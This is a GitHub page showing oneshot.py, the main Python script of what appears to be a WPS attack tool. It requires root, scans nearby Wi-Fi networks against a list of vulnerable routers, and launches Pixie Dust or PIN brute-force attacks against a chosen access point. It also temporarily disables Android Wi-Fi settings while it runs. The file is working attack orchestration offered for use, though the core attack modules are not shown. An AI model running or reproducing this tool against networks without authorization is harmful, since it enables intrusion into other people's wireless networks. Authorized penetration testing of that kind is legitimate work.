-
Notifications
You must be signed in to change notification settings - Fork 5
/
oneshot.py
executable file
·112 lines (93 loc) · 3.69 KB
/
oneshot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
import os
import sys
from pathlib import Path
import src.wifi.android
import src.wifi.scanner
import src.wps.connection
import src.wps.bruteforce
import src.utils
import src.args
if __name__ == '__main__':
# Python 3.8
if sys.hexversion < 0x030800F0:
src.utils.die('The program requires Python 3.8 and above')
if os.getuid() != 0:
src.utils.die('Run it as root')
pixiewps_dir = src.utils.PIXIEWPS_DIR
sessions_dir = src.utils.SESSIONS_DIR
args = src.args.parseArgs()
if not os.path.exists(sessions_dir):
os.makedirs(sessions_dir)
if not os.path.exists(pixiewps_dir):
os.makedirs(pixiewps_dir)
if args.mtk_wifi:
wmtWifi_device = Path('/dev/wmtWifi')
if not wmtWifi_device.is_char_device():
src.utils.die('Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): '
'/dev/wmtWifi does not exist or it is not a character device')
wmtWifi_device.chmod(0o644)
wmtWifi_device.write_text(
'1', encoding='utf-8'
)
if not src.utils.ifaceUp(args.interface):
src.utils.die(f'Unable to up interface \'{args.interface}\'')
while True:
try:
android_network = src.wifi.android.AndroidNetwork()
if args.clear:
os.system("clear")
if src.utils.isAndroid() is True:
print('[*] Detected Android OS - temporarily disabling network settings')
android_network.storeAlwaysScanState()
android_network.disableWifi()
if args.bruteforce:
bruteforce_connection = src.wps.bruteforce.Initialize(
args.interface
)
else:
connection = src.wps.connection.Initialize(
args.interface, args.write, args.save, args.verbose
)
if args.pbc:
connection.singleConnection(pbc_mode=True)
else:
if not args.bssid:
try:
with open(args.vuln_list, 'r', encoding='utf-8') as file:
vuln_list = file.read().splitlines()
except FileNotFoundError:
vuln_list = []
scanner = src.wifi.scanner.WiFiScanner(args.interface, vuln_list)
if not args.loop:
print('[*] BSSID not specified (--bssid) — scanning for available networks')
args.bssid = scanner.promptNetwork()
if args.bssid:
if args.bruteforce:
bruteforce_connection.smartBruteforce(args.bssid, args.pin, args.delay)
else:
connection.singleConnection(args.bssid, args.pin, args.pixie_dust, args.show_pixie_cmd, args.pixie_force)
if not args.loop:
break
else:
args.bssid = None
except KeyboardInterrupt:
if args.loop:
if input('\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ').lower() == 'y':
print('Aborting…')
break
else:
args.bssid = None
else:
print('\nAborting…')
break
finally:
if src.utils.isAndroid() is True:
print('[*] Detected Android OS - enabling network settings')
android_network.enableWifi()
if args.iface_down:
src.utils.ifaceUp(args.interface, down=True)
if args.mtk_wifi:
wmtWifi_device.write_text(
'0', encoding='utf-8'
)